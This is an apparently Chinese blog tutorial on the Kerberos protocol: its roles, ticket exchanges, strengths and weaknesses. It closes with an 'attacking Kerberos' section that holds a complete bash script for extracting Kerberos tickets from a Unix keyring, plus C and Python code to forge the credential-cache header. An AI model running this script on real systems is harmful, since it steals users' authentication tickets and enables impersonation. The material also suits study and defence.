kerberos 入门篇
文章最后更新时间为:2020年10月15日 20:00:50
1.概述
Kerberos源自古希腊神话中的三头狗,是一种计算机网络授权协议,用来在非安全网络中,向另一个实体以一种安全的方式证明自己的身份。
Kerberos协议基于对称密码学,并需要一个值得信赖的第三方。
基本上,Kerberos可以归结为:
- 一种认证协议
- 使用票证进行身份验证
- 避免将密码存储在本地或通过互联网发送
- 涉及受信任的第三方
- 基于对称密钥密码学
2.基本概念
在Kerberos协议中主要是有三个角色的存在:
- 访问服务的Client
- 提供服务的Server
- KDC(Key Distribution Center)密钥分发中心
其中KDC服务默认会安装在一个域的域控中,而Client和Server为域内的用户或者是服务,如HTTP服务,SQL服务。在Kerberos中Client是否有权限访问Server端的服务由KDC发放的票据来决定。
由上图中可以看到KDC又分为两个部分:
- AS(Authentication Server)= 认证服务器
- TGS(Ticket Granting Server)= 票据授权服务器
如果把Kerberos中的票据类比为一张火车票,那么Client端就是乘客,Server端就是火车,而KDC就是就是车站的认证系统。如果Client端的票据是合法的(由你本人身份证购买并由你本人持有)同时有访问Server端服务的权限(车票对应车次正确)那么你才能上车。当然和火车票不一样的是Kerberos中有存在两张票,而火车票从头到尾只有一张:
在验证过程中涉及到的两张票分别是:
- TGT(Ticket Granting Ticket)= 票据授权票据
- ST(Service Ticket)= 服务票据
下面还有些常会用到的概念:
- realms: 包含 KDC 和许多客户端的 Kerberos 网络,类似于域,俗称为领域。
- Principal:Kerberos principal(又称为主体)用于在kerberos加密系统中标记一个唯一的身份。主体可以是用户(如joe)或服务(如namenode或hive)。
- keytab:keytab 是包含 principals 和加密 principal key 的文件,可以访问 keytab 文件即可以以 principal 的身份通过 kerberos 的认证。
其他要点:
- 每次请求,client都会收到两条消息。一个可以解密,另一个不能解密。
- server不会直接与KDC通信。
- KDC将用户计算机和服务的密钥存储在其数据库中。密钥是密码加上盐经过哈希处理后的,对于服务或主机,没有密码,只有密钥(管理员创建时生成的)。
- KDC本身使用主密钥加密,这增加了从数据库窃取密钥的难度。
- 有一些使用公钥加密而不是对称密钥加密的Kerberos 配置和实现。
3.验证过程
当Client想要访问Server上的某个服务(这里假设是http服务)时,需要先向AS证明自己的身份,然后通过AS发放的TGT向Server发起认证请求,这个过程分为三块:
1.The Authentication Service Exchange:Client与AS的交互
2.The Ticket-Granting Service (TGS) Exchange:Client与TGS的交互
3.The Client/Server Authentication Exchange:Client与Server的交互
3.1 The Authentication Service Exchange
1.Client→AS
client通过明文发给AS请求TGT,包括Name/ID、服务ID、网络地址、合法TGT的请求生命周期等
2.AS-> Client:
AS仅仅检查是否用户是否存在于KDC数据库,无需密码。检查通过后发送KRB_AS_REP给Client,包括:
TGS session key:client密钥加密的TGS会话密钥,包括
- Client name/ID;
- TGS name/ID,即ticket服务器也自报家门;
- 时间戳;
- Client的网络地址;
- TGT生命周期,即ticket的生命周期;
TGS session Key,即会话密钥。
- TGT:用TGS的密钥加密的ticket,包括
- TGS name/ID;
- Timestamp;
- 生命周期;
- TGS session key;
TGS session key就是client和TGS之间的共享密钥。
3.client
通过提示client输入密码,再加上一个随机串,最后对整个进行哈希得到Client 密钥。可以用该密钥解密TGS发送过来的TGS session key,以获取TGS 会话密钥。显然,如果密码错误,client 将无法解密该条消息。实际上是完成了对client password的隐性验证。
3.2 The Ticket-Granting Service (TGS) Exchange
此时,client拥有TGS session key,但是没有TGS密钥。
1.Client →TGS
client发送给TGS两个消息:
- 第一条消息为Authenticator 准备,用TGS session key加密如下信息:
Client name/ID + timestamp - 第二条消息是明文,包含请求的HTTP服务名称和HTTP服务的ticket生命周期和TGT。
2.TGS-> Client
TGS收到这两个消息后,首先检查KDC数据库中是否存在所请求的服务。如果存在,TGS用TGS密钥解密TGT。因为解密后的TGT包含TGS session key,因此TGS可以解密client所发送的Authenticator。
然后TGS比较Authenticator和TGT中的时间戳查看TGT是否过期,clientid是否一致......等一系列验证。
验证成功后,TGS向client发送两条信息:
第一条是Service Ticket;service ticket由Service Secret Key加密,包含如下信息:
- Client name/ID;
- 服务name/ID;
- Client的网络地址;
- 时间戳;
- Ticket的生命周期;
- 服务session key;
第二条是由TGS session key加密的service Session Key:
- 服务name/ID;
- 时间戳;
- Ticket的生命周期;
- 服务session key。
Client利用cached的TGS session key解密第二条消息,以获取serivce session key。而无法解密第一条消息,因为其没有Service Secret Key。
3.3 The Client/Server Authentication Exchange
1.Client →Server
为了访问server上面的service,client准备了另外的经过serivce session key加密的Authenticator消息,包括:
- Client name/ID;
- 时间戳。
client发送上述Authenticator和未解密的Service Ticket
2.Server-> Client
server通过自己的Service Secret Key解密Service Ticket,再用service session key解密Authenticator:
server也要做以下校验:
- 比较service ticket和Authenticator中clientid
- 比较service ticket和Authenticator中的时间戳
- ...
如果通过校验,server发送一条由service session key加密的Authenticator消息,该消息包含其服务ID及时间戳。
- client -> server
Client收到server发送的Authenticator消息,用cache的service session key解密,由此接收到一条service ID和时间戳的明文信息。
此时client已经验证通过使用HTTP服务,将来的请求利用cached的Service Ticket,前提是在定义的生命周期内。
4.优缺点
优点
1.性能较高
一旦Client获得用过访问某个Server的Ticket,该Server就能根据这个Ticket实现对Client的验证,而无须KDC的再次参与。和传统的基于Windows NT 4.0的每个完全依赖Trusted Third Party的NTLM比较,具有较大的性能提升。
2.实现了双向验证
传统的NTLM认证基于这样一个前提:Client访问的远程的Service是可信的、无需对于进行验证,所以NTLM不曾提供双向验证的功能。这显然有点理想主义,为此Kerberos弥补了这个不足:Client在访问Server的资源之前,可以要求对Server的身份执行认证。
缺点
- 依赖单点:它需要kerberos服务器的持续响应。
- 管理协议并没有标准化,在服务器实现工具中有一些差别。
- 因为所有用户使用的密钥都存储于Kerberos服务器中,有安全威胁。
- 客户端上的票据可以被该客户端其他用户窃取。
5. FAQ
1.怎么实现在不安全的网络中也可以使用
回到Kerberos的设计初衷:允许某实体在非安全网络环境下通信,向另一个实体以一种安全的方式证明自己的身份,所以kerberos在理论上是非常安全的。
2.怎么实现server&client双向认证
- server验证client:
client去请求AS时,AS使用client的密钥去加密了TGS session key,如果该client是伪造的,那就不能解密出TGS session key,也就不能继续后续的操作。
- client验证server:
client发送ST给server时,使用了service session key去加密了client id、时间戳等。如果server是假冒的,那么就不能解密出client id,也就不能继续后续的操作。
- ST存在的意义是什么,
TGT是Kerberos客户端向KDC证明其身份以获取ST的机制,而ST是Kerberos客户端向目标资源(应用程序服务器)证明其身份的机制。应用程序服务器不验证Kerberos客户端的TGT,它们验证ST。
6. 攻击kerberos
6.1 身份窃取
当keberos凭证被存储在文件中时,可以直接窃取到凭证
当keberos凭证被存储在Unix Keyring时,可以使用https://github.com/TarlogicSecurity/tickey工具导出
或者使用https://www.delaat.net/rp/2016-2017/p97/report.pdf中给出的脚本
#!/bin/bash
ccache=$(grep -F 'default_ccache_name' /etc/krb5.conf | grep -v '#' | cut -d'=' -f2 | xargs)
ccache_type=$(echo $ccache | cut -d':' -f1)
if [[ ${ccache} == "" ]]; then
echo "Look for /tmp/krb5cc_$(id -u)"
exit
fi
if [[ ${ccache_type} == "DIR" ]]; then
location=$(echo ${ccache} | cut -d':' -f2)
echo "Look in ${location}"
exit 2
fi
if [[ ${ccache_type} == "MEMORY" ]]; then
echo "You're gonna have to do some memory analysis..."
exit 3
fi
if [[ ${ccache_type} == "KEYRING" ]]; then
keyring_type=$(echo ${ccache} | cut -d':' -f2)
fi
keyring_name=$(echo ${ccache} | cut -d':' -f3)
# Handle named keyring
if [[ "$keyring_name" == "" ]]; then
keyring_name="$keyring_type"
fi
# Persistent keyring is approached differently
if [[ "${keyring_type}" == "persistent" ]]; then
# Attach persistent for UID to our session keyring
keyctl get_persistent @s "$(id -u)" > /dev/null
keyring=$(keyctl search @s keyring "$(id -u)")
else
# Get named keyring
keyring=$(keyctl search @s "keyring" "${keyring_name}")
# Check £? here: no keyring (no credentials found in keyring)
fi
key_components=( $(keyctl rlist ${keyring}) )
tmp_dir=$(mktemp -d)
for i in ${!key_components[@]}; do
SPN="$(keyctl rdescribe ${key_components[${i}]} | rev | cut -d';' -f1 | rev)"
# We don't care about the configuration entries
if [[ ! "${SPN}" =~ "X-CACHECONF" ]]; then
# / is illegal in a filename
safe_name=$(echo ${SPN} | tr '/' '_')
keyctl pipe "${key_components[${i}]}" > "${tmp_dir}/${safe_name}.bin"
fi
done
cat ccache_header_data > krb5cc_$(id -u)
cat ${tmp_dir}/__krb5_princ__.bin >> krb5cc_$(id -u)
find ${tmp_dir} -name "*krbtgt*" -exec cat {} \; >> krb5cc_$(id -u)
rm -rf ${tmp_dir}
echo "Ticket written to krb5cc_$(id -u)"
exit 0
其中ccache_header_data是可以构造出来的
# generate_file_ccache_header.c
#include <stdio.h>
#include <inttypes.h>
#include <endian.h>
int main(void)
{
FILE* fp = fopen("ccache_header_data", "wb");
if (fp == NULL) {
fprintf(stderr, "Error opening file\n");
return 1;
}
/* write preamble */
uint8_t maj_version = 5;
uint8_t min_version = 4;
fwrite(&maj_version, sizeof(uint8_t), 1, fp);
fwrite(&min_version, sizeof(uint8_t), 1, fp);
/* write header */
uint16_t total_header_len = htobe16(12);
uint16_t field_tag = htobe16(1);
uint16_t field_length = htobe16(8);
uint32_t seconds_offset = htobe32(4);
uint32_t microseconds_offset = htobe32(32);
fwrite(&total_header_len, sizeof(uint16_t), 1, fp);
fwrite(&field_tag, sizeof(uint16_t), 1, fp);
fwrite(&field_length, sizeof(uint16_t), 1, fp);
fwrite(&seconds_offset, sizeof(uint32_t), 1, fp);
fwrite(µseconds_offset, sizeof(uint32_t), 1, fp);
fclose(fp);
return 0;
}
或者python:
# generate_file_ccache_header.py
import binascii
header = "0504000c000100080000000400000020"
f = open("ccache_header_data",'wb')
f.write(binascii.a2b_hex(header))
f.close()
666
又发现一个好站,收藏了~以后会经常光顾的 (。•ˇ‸ˇ•。)